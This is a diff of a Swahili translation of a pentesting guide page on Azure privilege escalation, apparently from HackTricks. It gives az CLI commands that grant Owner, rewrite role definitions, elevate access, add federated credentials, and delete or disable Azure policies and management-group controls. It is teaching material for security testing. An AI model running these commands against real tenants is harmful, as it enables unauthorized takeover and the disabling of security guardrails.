Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md

@@ -12,16 +12,16 @@ Kwa maelezo zaidi angalia:
 
 ### Microsoft.Authorization/roleAssignments/write
 
-Ruhusa hii inaruhusu kupewa majukumu kwa wahusika juu ya upeo maalum, ikimruhusu mshambuliaji kupandisha hadhi kwa kujipatia jukumu lenye mamlaka zaidi:
+Ruhusa hii inaruhusu kuteua roles kwa principals ndani ya scope maalum, na hivyo kumruhusu mshambulizi kuinua idhini kwa kujipa role yenye idhini kubwa zaidi:
 ```bash
 # Example
 az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
 ```
 ### Microsoft.Authorization/roleDefinitions/Write
 
-Ruhusa hii inaruhusu kubadilisha ruhusa zilizotolewa na jukumu, ikimruhusu mshambuliaji kupandisha hadhi kwa kutoa ruhusa zaidi kwa jukumu aliloteua.
+Ruhusa hii inaruhusu kubadilisha permissions zilizotolewa kwa role, na kumruhusu mshambuliaji to escalate privileges kwa kumpa role aliyemteua permissions zaidi.
 
-Unda faili `role.json` yenye **maudhui** yafuatayo:
+Unda faili `role.json` na **yaliyomo** yafuatayo:
 ```json
 {
 "roleName": "<name of the role>",
@@ -36,16 +36,16 @@ Unda faili `role.json` yenye **maudhui** yafuatayo:
 "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
 }
 ```
-Kisha sasisha ruhusa za jukumu kwa ufafanuzi wa awali ukitumia:
+Kisha sasisha role permissions kwa kutumia ufafanuzi wa awali ukiita:
 ```bash
 az role definition update --role-definition role.json
 ```
 ### Microsoft.Authorization/elevateAccess/action
 
-Ruhusa hizi zinaruhusu kuinua mamlaka na kuwa na uwezo wa kutoa ruhusa kwa mtu yeyote kwa rasilimali za Azure. Imeandaliwa kutolewa kwa Wasimamizi wa Kimataifa wa Entra ID ili waweze pia kusimamia ruhusa juu ya rasilimali za Azure.
+Ruhusa hii inaruhusu kuinua vibali na kuweza kutoa ruhusa kwa principal yoyote juu ya Azure resources. Imekusudiwa kupeanwa Entra ID Global Administrators ili nao waweze kusimamia ruhusa juu ya Azure resources.
 
 > [!TIP]
-> Nadhani mtumiaji anahitaji kuwa Msimamizi wa Kimataifa katika Entra ID ili wito wa kuinua ufanye kazi.
+> Nadhani mtumiaji anahitaji kuwa Global Administrator katika Entra ID ili elevate call ifanye kazi.
 ```bash
 # Call elevate
 az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
 ```
 ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
 
-Ruhusa hii inaruhusu kuongeza akreditivu za Shirikisho kwa utambulisho unaosimamiwa. Mfano, kutoa ufikiaji kwa Github Actions katika repo kwa utambulisho unaosimamiwa. Kisha, inaruhusu **kufikia utambulisho wowote unaosimamiwa ulioelezwa na mtumiaji**.
+Ruhusa hii inaruhusu kuongeza Federated credentials kwa managed identities. Kwa mfano, kutoa upatikanaji kwa Github Actions katika repo kwa managed identity. Kisha, inaruhusu **kupata managed identity yoyote iliyoainishwa na mtumiaji**.
 
-Mfano wa amri ya kutoa ufikiaji kwa repo katika Github kwa utambulisho unaosimamiwa:
+Mfano wa amri ya kutoa upatikanaji kwa repo katika Github kwa managed identity:
 ```bash
 # Generic example:
 az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
 --headers "Content-Type=application/json" \
 --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
 ```
+### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
+
+Mshambuliaji mwenye ruhusa `Microsoft.Authorization/policyAssignments/write` au `Microsoft.Authorization/policyAssignments/delete` juu ya management group, subscription, au resource group anaweza **kurekebisha au kufuta Azure policy assignments**, kwa hivyo anaweza **kuzima vikwazo vya usalama** vinavyozuia shughuli maalum.
+
+Hii inaruhusu kupata rasilimali au uwezo ambao awali ulikuwa umewalindwa na sera.
+
+**Futa policy assignment:**
+```bash
+az policy assignment delete \
+--name "<policyAssignmentName>" \
+--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
+```
+**Zima uteuzi wa sera:**
+```bash
+az policy assignment update \
+--name "<policyAssignmentName>" \
+--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
+--enforcement-mode Disabled
+```
+**Thibitisha mabadiliko:**
+```bash
+# List policy assignments
+az policy assignment list \
+--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
+
+# Show specific policy assignment details
+az policy assignment show \
+--name "<policyAssignmentName>" \
+--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
+```
+### Microsoft.Authorization/policyDefinitions/write
+
+Mshambuliaji mwenye ruhusa `Microsoft.Authorization/policyDefinitions/write` anaweza **kubadilisha ufafanuzi wa sera za Azure**, akibadilisha sheria zinazosimamia vikwazo vya usalama katika mazingira.
+
+Kwa mfano, sera inayopunguza mikoa iliyoruhusiwa kwa ajili ya kuunda rasilimali inaweza kubadilishwa ili kuruhusu mkoa wowote, au athari ya sera inaweza kubadilishwa ili kuifanya isiwe na ufanisi.
+
+**Badilisha ufafanuzi wa sera:**
+```bash
+az policy definition update \
+--name "<policyDefinitionName>" \
+--rules @updated-policy-rules.json
+```
+**Thibitisha mabadiliko:**
+```bash
+az policy definition list --output table
+
+az policy definition show --name "<policyDefinitionName>"
+```
+### Microsoft.Management/managementGroups/write
+
+Mshambulizi mwenye ruhusa `Microsoft.Management/managementGroups/write` anaweza **kubadilisha muundo wa kimnara wa management groups** au **kuunda management groups mpya**, na hivyo kukwepa sera kali zilizowekwa kwenye ngazi za juu.
+
+Kwa mfano, mshambulizi anaweza kuunda management group mpya bila sera kali kisha kuhamisha subscriptions kwenye hiyo group.
+
+**Unda management group mpya:**
+```bash
+az account management-group create \
+--name "yourMGname" \
+--display-name "yourMGDisplayName"
+```
+**Badilisha hierarkia ya kundi la usimamizi:**
+```bash
+az account management-group update \
+--name "<managementGroupId>" \
+--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
+```
+**Thibitisha mabadiliko:**
+```bash
+az account management-group list --output table
+
+az account management-group show \
+--name "<managementGroupId>" \
+--expand
+```
+### Microsoft.Management/managementGroups/subscriptions/write
+
+Mshambuliaji mwenye ruhusa `Microsoft.Management/managementGroups/subscriptions/write` anaweza **kuhamisha subscriptions kati ya management groups**, na hivyo **kuepuka sera za vizuizi** kwa kuhamisha subscription kwenda group lenye sera ndogo au lisilo na sera.
+
+**Hamisha subscription kwenda management group tofauti:**
+```bash
+az account management-group subscription add \
+--name "<managementGroupName>" \
+--subscription "<subscriptionId>"
+```
+**Thibitisha mabadiliko:**
+```bash
+az account management-group subscription show \
+--name "<managementGroupId>" \
+--subscription "<subscriptionId>"
+```
 {{#include ../../../banners/hacktricks-training.md}}